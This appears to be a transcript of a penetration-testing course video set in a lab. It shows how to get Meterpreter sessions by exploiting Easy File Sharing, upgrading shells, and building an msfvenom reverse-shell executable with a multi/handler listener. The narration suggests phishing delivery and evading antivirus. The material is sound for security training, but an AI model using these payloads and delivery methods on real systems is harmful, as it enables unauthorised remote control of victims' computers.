All right, so let's get started with the hands‑on part of this course.
Let's take a look on how to get a Meterpreter session on your victim computer.
First, let's understand how Meterpreter sessions work here.
Let's imagine that we have our attacker machine and our victim machine.
So first we'll exploit a vulnerability in the victim machine,
let's say a remote code execution.
If we are successful exploiting the vulnerability,
we will then send the initial Meterpreter stager.
And because this is a remote code execution,
the victim computer will then open the initial stager,
and this will inject a malicious DLL into the existing process,
as we discussed in the previous video.
When the initial stager is executed,
it will then connect back to the attacker machine,
and then the attacker machine will send any additional libraries and
modules that are necessary for Meterpreter to run.
Once this is completed,
we'll have a fully working session between the two computers,
and this means that the attacker machine can send
commands to the victim machine, which will then process it and return the output.
A session can have one or multiple commands,
and you can even have a session open for days,
and execute as many commands as you want.
Once you're done, we then close the session.
This back and forth might look a little bit complicated,
but feel free to pause the video here and understand this.
And again, in just a few minutes, we'll see this working in real life,
so everything will make sense.
So okay, we discussed what a Meterpreter procession is.
Now, let's understand how we can get a Meterpreter session.
There are three main ways of getting a Meterpreter session.
The first one we already discussed a little bit,
which is exploiting a vulnerability in the server.
For example,
you can exploit a remote code execution vulnerability in a server
and use the Meterpreter initial stager as payload.
And this will give a Meterpreter session to the computer.
The second way of getting a Meterpreter session is by
migrating a current Metasploit session.
For example,
let's say that we already exploited the server and we have a Metasploit session.
As you'll see in the demo,
you can easily upgrade the Metasploit session to a Meterpreter session.
And the third way of getting a Meterpreter session is the most simple one.
You can generate an executable file containing the Meterpreter payload,
and send that to the victim via a phishing email.
So then, when the person opens the attachment, you get a Meterpreter shell.
And although this is the most simple way,
your chances of getting detected is a little bit higher,
since you'd be sending a malicious executable file to the victim.
Okay, so before we go to our lab,
let's quickly talk about the lab environment that we'll be using here.
As I mentioned previously, this course has a lot of demos and hands‑on tasks.
So if you want to get the most out of this course,
I do recommend you trying to execute the attacks you
learn here in your own environment.
So if you want to create your own lab environment, you need two machines.
First, the attacker machine.
This can be any machine that can run Metasploit.
In here,
I'll be using an Ubuntu virtual machine with a Metasploit framework version 6.0.
The second machine you need is the victim machine.
In here, I'll be using a Window Server 2016 as our target machine.
But again, this could be any Windows or even any Linux machine.
Also, for this course,
we also have a virtual lab environment that you can use to follow our demos.
To access the virtual lab is really simple.
Just go to the Pluralsight platform and search for Post
Exploitation with Meterpreter ‑ Lab.
Awesome.
So let's get started with our demos.
In here,
you'll learn how to get a Meterpreter shell using
three tactics that we discussed.
First vulnerability exploitation, then Metasploit session upgrade,
and finally, malicious executable files.
So if you're ready, let's go to our virtual machines.
Hey there, welcome to our lab environment.
As I mentioned before, as the attacker computer,
I have this Ubuntu virtual machine here,
and this is the version 20.04,
and I already have Metasploit version 6.0 installed on it.
We also have our victim machine, which is a Windows Server 2016.
As we need a vulnerability to be exploited,
I'm installing this server, a vulnerable server called Easy File Sharing,
which is a software that creates an HTTP server to share files.
So let me open it here to start the service.
If you want to know more about this software and this specific vulnerability,
you can search for it on the exploit‑db website.
In here, you can see a description of the vulnerability,
and you can also download the vulnerable software so you
can install it in your life environment.
Perfect.
So let's start the exploitation.
In here, I'll explain step by step,
but I will assume that you already have some
experience with the Metasploit framework.
So let's first find the exploit for that software.
In here, I use the command search, and then easy file sharing.
In here we have quite a few exploits,
but the one I'm looking for is this one here.
To use this exploit, I'll type use and then the path to the exploit.
Perfect.
So first, let's just set up the exploit with a basic reverse shell payload.
So I'll type windows/shell/reverse_tcp.
And this is a really basic payload that will connect back to my
Metasploit server and give me a basic Windows shell.
Okay, so now let's take a look at the options that we need to set up.
For that, I will type show options.
Perfect.
So first we have to set my target computer,
so type set RHOSTS and then type the IP address of my Windows machine.
In your case, if you're working on your own lab,
make sure you're using the IP address of your victim computer,
which might be different from this one.
Now take a look.
The LHOST is already properly configured,
and this is the IP of my attacker machine,
which is this Linux computer here.
So now all I have to do is execute this attack.
For that, I will type run and press Enter.
Then in few seconds, we have a shell to the target computer,
and this is a simple windows shell.
So I can execute Windows command‑line code here.
If you're familiar with Metasploit, there's nothing new here.
But what we want is to have a Meterpreter shell,
which is way more advanced than this.
So let me quit the shell here, and now let's execute the same exploit,
but with the Meterpreter payload.
For that, I'll use set payload windows/meterpreter/reverse_tcp.
Perfect.
Let's take a quick look if all the variables are properly set.
Cool, it seems that everything's correct.
We have the RHOST and the LHOST variables configured properly.
So let's run this. Perfect, take a look.
We've got to Meterpreter session.
And now we can execute Meterpreter commands. Like if we type getuidd, it'll
return the user that is running the Meterpreter shell.
In my case,
it's the administrator. And you know the scary part?
Take a look at the Windows server.
There's no detection at all. In here, I have the Windows Defender
enabled, and the Windows Firewall is also enabled, and nothing was
detected. Pretty cool, right? Now, let me show you a trick that might be helpful.
Let's say you exploited a vulnerability in the past, and you already
have a basic shell session open to a computer.
Take a look. In here, I have a basic Windows shell.
Now, if you want,
you can try to upgrade this basic session to a Meterpreter session.
To do that,
I just type sessions ‑u, and then the number of the session
that you want to upgrade to the Meterpreter.
Perfect. Take a look, in this case,
it doesn't seem that the upgrade was successful, and this
happens sometimes. Depending on the exploit itself, it might
not be possible to upgrade the session.
So my recommendation is doing like we've done before, using
them Meterpreter payload right from the start.
Now, let me show you another way of getting a Meterpreter shell.
Instead of exploiting a vulnerability,
we can generate an executable file containing the Meterpreter payload.
And then we can send this file to our victim.
And when the victim opens the file, we will get a shell.
So let's see how that's done.
Let me open a terminal. In here, to generate an executable
payload, I'll use this command here, msfvenom ‑p, and then
the Meterpreter payload.
In here I will also set up the variables LHOST,
which is the IP of my Metasploit machine,
and the LPORT, which I will use 443. Also,
I'll use the flag ‑f to specify the file type that I want to
generate. In this case it's exe. Then I'll put the output of
this command into a file called reverse‑shell.exe. Perfect,
let's run this. Cool, it's done.
Now, we can send this file to your victim in several ways.
You can send that in an email or even put it in a USB stick.
The thing to remember is that a lot of antivirus solutions will detect this
file, so you might have to find a way to obfuscate the code or disable the
antivirus on the computer you're attacking.
So for this lab,
I'll transfer this file to my victim computer using a simple HTTP
server. I'll use this module called HTTP.Server,
which will create a local HTTP server on my computer so I can transfer the
files to there. Perfect. Let's go to the Windows machine,
and in here I will open the browser and open the IP
address of my Metasploit machine.
Done. As you can see, I have here the files that are on my Ubuntu machine.
And as I mentioned before,
most of the antivirus solutions will detect this executable.
So just for the sake of this course,
I will disable the Windows Defender so we can proceed with the demo.
In a real pen test,
you might have to find a way to bypass detection
using some obfuscation techniques.
Perfect.
Now we can download this file and save it to our desktop.
Now, before we launch this payload,
let's go to Metasploit and create a listener for this connection.
In here,
I'll use the generic exploit handler called
exploit/multi/handler. Then, I'll set the payload as the same
payload as is used to create the executable file.
And last, I'll set the LHOST and the LPORT variables to exactly
the same as the ones I used in the msfvenom.
Perfect.
Now let's run this. Then, as you can see, we have a listener running.
So all we have to do is go back to our Windows
machine and execute the malicious file.
Perfect.
As you can see, it seems that nothing happened.
But let's take a look at our Meterpreter listener.
Here, take a look.
We got a Meterpreter shell,
and this shell has the same access rights as the
user that executed it. Pretty cool, right?